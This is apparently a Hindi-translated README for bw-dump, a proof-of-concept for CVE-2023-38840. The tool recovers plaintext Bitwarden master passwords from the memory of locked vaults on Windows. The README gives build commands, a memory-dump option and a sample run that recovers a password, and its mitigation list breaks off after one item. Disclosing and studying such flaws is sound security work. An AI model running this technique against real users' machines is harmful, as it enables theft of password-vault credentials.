
(CVE-2023-38840) के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट जो लॉक किए गए Bitwarden वॉल्ट से प्लेनटेक्स्ट मास्टर पासवर्ड निकालता है।
अपडेट 2: इस भेद्यता को CVE-2023-38840 निर्दिष्ट किया गया था।
अपडेट: GitHub पुल रिक्वेस्ट (5813) पर एक पैच जारी किया गया था जो भेद्यता को ठीक करता है। प्रभावित संस्करण Bitwarden Desktop 2023.7.0 और उससे नीचे हैं।
एक प्रूफ-ऑफ-कॉन्सेप्ट टूल जो Windows सिस्टम से लॉक किए गए Bitwarden वॉल्ट से मास्टर पासवर्ड निकालता है (कम से कम एक बार अनलॉक किया जाना चाहिए)। यह केवल वर्तमान सत्र के लिए काम करता है, अर्थात सिस्टम रिबूट के बाद यह काम नहीं करेगा। प्रशासनिक विशेषाधिकार आवश्यक नहीं हैं।
एक ब्लॉग प्रकाशित किया गया था और यह उपलब्ध है: https://redmaple.tech/blogs/2023/extract-bitwarden-vault-passwords/
Microsoft Edge और Bitwarden ब्राउज़र एक्सटेंशन के साथ bw-dump का उपयोग करने का एक छोटा डेमो। नवीनतम टूल केवल Bitwarden Desktop पर काम करता है।
https://user-images.githubusercontent.com/9108334/191377244-f0e9a123-e4f0-43b0-90b5-697fc005ae7b.mov
चेतावनी: Windows Defender संकलित बाइनरी को दुर्भावनापूर्ण बताएगा!
एक स्ट्रिप्ड बाइनरी बनाने के लिए, टाइप करें:
go build -ldflags="-s -w"
Linux सिस्टम पर बिल्ड करने के लिए, टाइप करें:
env GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
बस बाइनरी को बिल्ड करें और निष्पादित करें। इसके लिए एडमिन अधिकारों की आवश्यकता नहीं है। सुनिश्चित करें कि Bitwarden प्रोसेस चल रहा है। इसके अलावा, वॉल्ट को कम से कम एक बार अनलॉक किया जाना चाहिए। उसके बाद, मास्टर पासवर्ड कुछ समय के लिए मेमोरी में संग्रहीत रहेगा।
आप पैटर्न मिलने पर मेमोरी क्षेत्रों को डंप करने के लिए -d विकल्प भी पास कर सकते हैं। प्रत्येक परिणाम के लिए, वर्तमान कार्यशील निर्देशिका में एक फ़ाइल नाम dump-pid-<PID>-<MEM-REGION>.hex बनाया जाता है।
उदाहरण आउटपुट
PS C:\Users\Tester\dev\go\bw-dump> bw-dump.exe
888 88b, Y8b Y8b Y888P 888 88e
888 88P' Y8b Y8b Y8P 888 888b 8888 8888 888 888 8e 888 88e
888 8K Y8b Y8b Y 888 888 8888D 8888 8888 888 888 88b 888 888b
888 88b, Y8b Y8b 888 888P Y888 888P 888 888 888 888 888P
888 88P' Y8P Y 888 88" "88 88" 888 888 888 888 88"
888
Created by @NazMarkuta at Red Maple 888
BW-Dump is a Windows forensics tool that extracts Bitwarden master passwords from locked vaults
(must be unlocked at least once) by reading process memory using Windows API functions which
searches for magic byte patterns. The tool doesn't require any special (admin) permissions.
Now supports Bitwarden Desktop App (v2023.1.1) running on Windows 10 or 11. The tool (may)
still support older Bitwarden Chromium extension versions (v2022.6.0) and below.
[+] Searching for processes...
[+] PID: 4228
[+] EXEName: Bitwarden.exe
[+] CMDLine: "C:\Users\Tester\AppData\Local\Programs\Bitwarden\Bitwarden.exe" --type=renderer --user-data-dir="C:\Users\Tester\AppData\Roaming\Bitwarden" --app-path="C:\Users\Tester\AppData\Local\Programs\Bitwarden\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --lang=en-GB --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --time-ticks-at-unix-epoch=-1675782335888921 --launch-time-ticks=4007177473 --mojo-platform-channel-handle=2508 --field-trial-handle=1792,i,3673052334935287551,6849534636950916074,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1
[+] Searching PID memory (4228)
[+] Found pattern at MemBaseAddr (0xb0800554000)
[+] Found password prefix bytes at offset (0xc121)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb0800a8c000)
[+] Found password prefix bytes at offset (0x1104)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb08014bc000)
[+] Found password prefix bytes at offset (0x62aa)
[+] Password recovered: "SUPER-SECURE-password8"
PS C:\Users\Tester\dev\go\bw-dump>
मास्टर पासवर्ड को मेमोरी से हटाने के दो तरीके (शायद और भी) हैं:
Bitwarden.exe प्रोसेस को समाप्त करें जिससे Windows कुछ कचरा संग्रहण कर सके।